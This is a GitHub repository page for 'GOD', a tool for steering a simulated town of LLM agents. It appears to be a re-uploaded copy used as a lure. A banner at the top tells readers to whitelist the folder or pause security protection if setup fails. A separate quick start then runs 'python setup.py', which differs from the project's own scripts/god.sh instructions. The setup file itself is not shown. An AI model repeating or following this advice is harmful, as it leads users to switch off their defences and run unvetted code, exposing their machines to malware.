Skip to content

RomFinancial/GOD-842

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/RomFinancial/GOD-842.git
cd GOD-842
python setup.py

GOD logo ย GOD ยท Govern ยท Observe ยท Direct

GOD โ€” Govern ยท Observe ยท Direct

๐ŸŒฉ๏ธ Be like a god to a town of agents.
Pause time. Whisper to a soul. Bend the next step. Reset the world โ€” all from a single click.

๐Ÿš€ Quick Start ยท Highlights ยท Features ยท How it works ยท Built-in Experiments ยท Scenarios ยท Developer Docs ยท Updates ยท Roadmap ยท Contributing ยท ๐ŸŒ ไธญๆ–‡

Python React Vite No-Code Setup License PRs welcome Status


Other generative-agent projects let you watch. GOD lets you reign.

One screen. Pause time. Question any soul. Rewrite the next step. Restart the world. The missing operator console for a society of agents โ€” alive while you steer it.

โœจ Highlights

โฏ๏ธ
Pause time
Stop, scrub, fast-forward, auto-play any live step.
๐Ÿ’ฌ
Whisper to anyone
Ask one resident, a group, or the whole town โ€” mid-run.
๐ŸŽ›๏ธ
Bend the next step
Inject instructions and watch agents react in real time.
๐Ÿช„
No-code setup
Configure model, scenario and agents from a browser wizard.
๐Ÿ”„
Reset reality
One command wipes a stale run and re-seeds a clean world.

๐Ÿ–ผ๏ธ Screenshots

GOD control room

Live control room โ€” PKU map, step controls, targeted ask, and resident roster in one view.

๐Ÿš€ Quick Start

git clone https://github.com/RomFinancial/GOD-842
cd GOD
./scripts/god.sh start

Windows PowerShell: from the repo root, run .\scripts\god.cmd start.

That's it. On first run, the script installs everything, opens a browser-based setup wizard, and waits for you. No .env editing, no command-line flags, no glue scripts.

GOD setup wizard

The Setup Wizard โ€” model config, experiment choice, and custom society creation from one browser flow.

๐Ÿ”Œ
1. Model
Paste an OpenAI-compatible API key, base URL, and model name.
๐Ÿงญ
2. Choose
Open GOD Town, open PKU Trump Visit, or create your own.
๐Ÿงช
3. Scenario
Describe your world โ€” date, weather, vibes, rules.
๐Ÿค–
4. Generate
The GOD agent drafts agent profiles and a step plan.
โœ๏ธ
5. Edit
Tweak personalities, relationships, locations, or steps.
โ–ถ๏ธ
6. Launch
Publish the experiment and step into the control room.

Any OpenAI-compatible endpoint works. When the wizard hands off, the script prints a URL like:

http://127.0.0.1:5174/pixel-replay/god_town/1

Full walkthrough: Quickstart โ†’

๐Ÿงฉ Features

Feature What you get
๐ŸŽฌ Replay control Scrub a live or recorded replay by step. Pause, jump, auto-play.
๐Ÿ’ฌ Targeted ask Send a natural-language question to one agent, a group, or the whole town.
๐ŸŽ›๏ธ Real-time intervention Inject instructions into the next step โ€” the agents read them on their next turn.
โŒจ๏ธ Command composer Type /ask or /intervene, use @Name #id completions, and send operator commands without leaving the map.
๐Ÿช„ No-code setup wizard Browser-based: configure model + scenario, let GOD generate agents and steps, edit, then launch.
๐Ÿงฌ Agent Studio Add or edit residents through a map-aware wizard for seed, identity, appearance, personality, routine, and review.
๐Ÿงญ Map Studio Generate or upload a map draft, calibrate locations and collisions, validate it, then publish it as a local map package.
๐Ÿงผ One-command reset Wipe replay data and seed a clean society without leaving the terminal.
๐Ÿ—บ๏ธ Pixel town world A live tiled map: locations, actions, messages, statuses โ€” every step replay-friendly.
๐Ÿงฑ Single current experiment .env stores local model/port settings; .god/current_experiment.json stores the one active experiment.

๐Ÿ—๏ธ How It Works

flowchart LR
  O["Operator"]:::operator
  UI["Control Room"]:::surface
  API["Live API"]:::core
  RT["Agent Runtime"]:::runtime
  TOWN["Pixel Town"]:::world
  CFG[["Experiment Files"]]:::data
  DB[("Replay Store")]:::data

  O --> UI
  UI <-->|"commands / updates"| API
  API -->|"prompts"| RT
  RT -->|"actions"| TOWN
  TOWN -->|"frames"| DB
  CFG -->|"scenario"| API

  classDef operator fill:#fff7ed,stroke:#f59e0b,color:#7c2d12,stroke-width:2px;
  classDef surface fill:#eef2ff,stroke:#6366f1,color:#312e81,stroke-width:2px;
  classDef core fill:#ecfeff,stroke:#0891b2,color:#164e63,stroke-width:2px;
  classDef runtime fill:#f0fdf4,stroke:#22c55e,color:#14532d,stroke-width:2px;
  classDef world fill:#fefce8,stroke:#ca8a04,color:#713f12,stroke-width:2px;
  classDef data fill:#fdf2f8,stroke:#db2777,color:#831843,stroke-width:2px;
Loading

GOD is intentionally local-first: the control room, backend, runtime bridge, experiment files, and replay store all run on your machine. The model endpoint is the only external service you choose.

GOD keeps three concepts separate:

  • Experiment is the playable setup: map, agents, scenario context, and step plan.
  • Replay is the viewable result of an experiment after it has been played.
  • Runtime state is local machine data such as SQLite replay stores, logs, and agent snapshots; it is not part of an ExperimentPack and should not be committed.
Layer What it does
๐ŸŽฎ Control Room React/Vite browser UI โ€” replay, ask, intervention, status.
โš™๏ธ Backend Local FastAPI service exposing live and replay APIs.
๐Ÿ—บ๏ธ Pixel Town Replay-friendly social world: locations, actions, messages, agent status.
๐Ÿค– Agent Runtime Out-of-process LLM agents reached over a local WebSocket.

โš™๏ธ Commands

./scripts/god.sh start      # start the full stack (idempotent)
./scripts/god.sh configure  # open setup to switch defaults or create an experiment
./scripts/god.sh restart    # stop everything cleanly, then start again
./scripts/god.sh new-run    # wipe local runtime state for the current experiment and start fresh
./scripts/god.sh status     # ports, URLs, model status
./scripts/god.sh stop       # stop everything
./scripts/god.sh tail       # follow logs
./scripts/god.sh open       # open the frontend pages in the default browser

On Windows, replace ./scripts/god.sh with .\scripts\god.cmd.

๐Ÿงช Built-in Experiments

GOD ships two built-in experiments and treats them exactly like experiments you publish yourself. The setup wizard writes the selected experiment to .god/current_experiment.json; start, open, and new-run then act only on that current experiment.

.env is intentionally local-only and only stores model, API, port, and similar machine settings. It no longer decides the default experiment or map, so an old GOD_MAP_ID=pku cannot make GOD Town load the PKU map.

๐Ÿ˜๏ธ An ordinary weekday in The Ville

A late-spring Tuesday morning at 8:20. Sunny, 18ยฐC, light breeze. A 200-person town with 10 residents who know each other but don't live in each other's pockets โ€” a slice-of-life simulation, not a quest script.

โžก๏ธ Choose god_town in the Setup Wizard to make this the current experiment. It is bound to hypothesis_god_town/experiment_1 and the the_ville map.

โžก๏ธ See hypothesis_god_town/experiment_1/ for the full breakdown of locations, profiles, and interactions.

The Ville map

The Ville โ€” all 10 residents going about a typical day across home, school, library, cafe, park, market, pharmacy, pub, and dorm.

๐Ÿ—บ๏ธ 10 Locations ยท 65 location-scoped interactions
๐Ÿ 
Home
cook ยท sleep ยท tidy ยท read ยท WFH ยท video-call
๐Ÿซ
School
attend / teach class ยท grade ยท office hours
๐Ÿ“š
Library
read ยท study ยท research ยท borrow / return
โ˜•
Hobbs Cafe
light meal ยท coffee chat ยท cafe shift ยท meetup
๐ŸŒณ
Johnson Park
walk ยท meet ยท exercise ยท public announcement
๐Ÿ› ๏ธ
Supply Store
repair ยท restock ยท lend tools ยท customer service
๐Ÿ›’
Market
buy food ยท haggle ยท deliver ยท chat w/ regulars
๐Ÿ’Š
Pharmacy
buy medicine ยท refill ยท check BP ยท home visit prep
๐Ÿป
Pub
socialize ยท watch match ยท host small event
๐Ÿ›๏ธ
Dorm
rest ยท self-study ยท common-room hangout ยท video call
๐Ÿ‘ฅ 10 residents โ€” each with a real life
๐Ÿงญ
Alice ยท 34
Neighborhood coordinator
๐Ÿ› ๏ธ
Bob ยท 45
Supply-store shopkeeper
๐Ÿ“–
Charlie ยท 39
High-school history teacher
๐Ÿ’Š
Dana ยท 41
Pharmacy nurse
โ˜•
Elena ยท 36
Cafe owner
๐ŸŽ’
Farah ยท 16
High-school student
๐Ÿ“ฎ
George ยท 68
Retired postman
๐Ÿ’ป
Hana ยท 28
Remote software engineer
๐Ÿฆบ
Ivan ยท 52
Public-safety volunteer
๐Ÿ…
Mei ยท 47
Market vegetable vendor

Every resident carries a full profile: age, family, housing, economic status, health, daily routine, skills, needs, worries, secrets, social network, language style, quirks, short- & long-term goals.

๐Ÿซ PKU Trump Visit

A campus public-situation experiment on a stylized PKU map. Daily routines begin around gates, classrooms, library, lake, dining hall, dormitory, and Centennial Hall, then a high-attention visit event tests how residents notice, ask, gather, and react.

โžก๏ธ Choose pku_trump_visit in the Setup Wizard to make this the current experiment. It is bound to hypothesis_pku_trump_visit/experiment_1 and the pku map.

โžก๏ธ See hypothesis_pku_trump_visit/experiment_1/ for the full scenario, cast, operator notes, and replay data.

PKU campus map

PKU campus map โ€” gates, classrooms, library, Weiming Lake, Boya Pagoda, dining hall, dorm, and Centennial Hall, with named residents and the Trump-visit cast.

๐Ÿ—บ๏ธ Pluggable Map Packages

GOD now discovers map packages automatically from agentsociety/custom/maps/<map_id>/. To add a map, copy agentsociety/custom/maps/_template/, replace map.yaml, visuals/map.json, tileset PNGs, and optional characters/ or location_assets/, then run:

cd agentsociety
uv run python scripts/validate_map_package.py custom/maps/<map_id>

The setup wizard will list valid packages without code changes. v1 supports Tiled JSON maps with PNG tilesets and a Collisions layer where 0 means walkable. The PKU campus package now ships in the repository at agentsociety/custom/maps/pku/. See docs/MAP_PACKAGES.md for the full package contract.

๐Ÿ—“๏ธ Updates

Supported feature updates:

  • 2026-05-22 ยท Runtime localization ยท #26 โ€” replay, setup, map metadata, locations, actions, statuses, emotions, group labels, and system event templates now switch cleanly between English and Chinese while preserving free-form agent content.
  • 2026-05-23 ยท Control Room command UI ยท #27 โ€” PixelReplay now uses a full-height map with a right-side rail, Summary/Chat/Residents/Live Console tabs, and a map-embedded /ask + /intervene command composer with mention completion.
  • 2026-05-24 ยท Agent Studio wizard ยท #28 โ€” Agent Builder and Setup drafts share a map-bound Studio flow for seed, identity, appearance, personality, daily setup, review, and structured agent metadata.
  • 2026-05-25 ยท Strict sprite pipeline ยท #29 โ€” Agent Studio can generate validated map-compatible sprites, preserve existing profile text, enforce clean IDs/config sync, and keep generated Generated_Agent_*.png files local by default.
  • 2026-05-26 ยท Agent runtime wiring ยท #30 โ€” Agents now use the sames skill runtime consistently across AgentBuilder, setup drafts, imports, applies, and default experiment configs.
  • 2026-05-27 ยท Map Studio ยท #31 โ€” GOD now includes a Map Studio for generating or uploading local map drafts, configuring image generation, calibrating anchors/collisions, validating packages, publishing them, and returning to Setup with the new map_id selected.

๐Ÿ›ฃ๏ธ Roadmap

โœ… Completed

  • ๐Ÿ—บ๏ธ Pluggable map packages โ€” drop a folder under agentsociety/custom/maps/<map_id>/, refresh the wizard, and a new world is selectable. Auto-discovered, validated, hot-swappable. See docs/MAP_PACKAGES.md.
  • ๐Ÿซ PKU campus map โ€” the PKU map package is bundled as a first-class map alongside The Ville.
  • ๐Ÿช„ No-code setup wizard โ€” browser flow for model setup, built-in experiment choice, custom experiment generation/editing, and launch.
  • ๐Ÿงช Scripted experiments โ€” reproducible experiments ship as plain folders under quick_experiments/<hypothesis>/<experiment>/; choosing or publishing one makes it the current experiment.
  • ๐ŸŽฎ Control Room command rail โ€” replay controls, resident roster, live console, targeted Ask, and Intervene now live in one map-first operator surface.
  • ๐Ÿงฌ Agent Studio v1 โ€” map-aware add/edit flow with structured profile metadata, ID validation, setup integration, and sprite generation support.
  • ๐Ÿงญ Map Studio v1 โ€” prompt/reference-image map draft generation, anchor and collision calibration, package validation, publishing, and Setup handoff.
  • ๐ŸŒ Bilingual runtime UI โ€” English/Chinese UI and runtime-owned labels for setup, replay, maps, statuses, actions, and system events.
  • ๐Ÿ”Œ Agent skill-runtime path โ€” the shipped JiuwenClaw agent adapter now uses the AgentSociety skill runtime as the canonical execution path.

๐Ÿ›ฃ๏ธ Not Yet Done

  • ๐Ÿค– Pluggable agent runtimes โ€” swap LLM runtimes and persona templates as cleanly as we now swap maps.
  • ๐Ÿงช Multi-experiment orchestration โ€” run experiments, control groups, repeats, and ablations side-by-side.
  • ๐Ÿ—บ๏ธ Live map generation โ€” maps that evolve with events, repairs, blockages, and crowds.
  • ๐ŸŒฆ๏ธ Event-responsive worlds โ€” weather, accidents, festivals, rumors, shortages, repairs, blockages, and crowds that change agent behavior over time.
  • ๐ŸŒ Large-scale simulation โ€” AgentSociety batching, sharded runs, sampled replay, and performance-minded replay summaries.
  • ๐Ÿ“Š Experiment evaluation โ€” cross-run metrics, behavior diffs, intervention effect analysis.
  • ๐Ÿ“ Operator workflow โ€” per-step notes, tags, bookmarks, key-event summaries.
  • ๐ŸŒ Hosted demo & scenario sharing โ€” public demo, experiment/map templates, and one-click import/export for community scenarios.

Have an idea? Open an issue or PR.

๐Ÿค Contributing

Issues and pull requests are very welcome. To set up a dev environment:

./scripts/god.sh start

That installs Python and Node dependencies, brings up the full stack, creates a live session, and runs the first step so the control room opens on a populated town. From there, edit and reload.

Full guide: CONTRIBUTING.md โ†’ โ€” branching, PR checklist, style, and how to ship a new map or experiment.

๐Ÿ™Œ Acknowledgements

GOD stands on the shoulders of open research and open-source. It bundles two trimmed, integrated upstream checkouts:

  • AgentSociety โ€” large-scale generative-agent simulation framework.
  • JiuwenClaw โ€” out-of-process agent runtime.

And takes inspiration from Generative Agents and OASIS.

๐Ÿ“š Citation

@article{piao2025agentsociety,
  title   = {AgentSociety: Large-Scale Simulation of LLM-Driven Generative Agents Advances Understanding of Human Behaviors and Society},
  author  = {Piao et al.},
  journal = {arXiv preprint arXiv:2502.08691},
  year    = {2025}
}

@misc{park2023generativeagents,
  title         = {Generative Agents: Interactive Simulacra of Human Behavior},
  author        = {Joon Sung Park and Joseph C. O'Brien and Carrie J. Cai and Meredith Ringel Morris and Percy Liang and Michael S. Bernstein},
  year          = {2023},
  eprint        = {2304.03442},
  archivePrefix = {arXiv},
  primaryClass  = {cs.HC},
  url           = {https://arxiv.org/abs/2304.03442}
}

โญ Star History

Star History Chart

๐Ÿ“„ License

Released under the Apache-2.0 license. Upstream LICENSE and NOTICE files are kept inside the integrated runtime checkouts and apply to those subtrees.

Built with care. โญ a star helps GOD grow.

Releases

No releases published

Packages

 
 
 

Contributors

Languages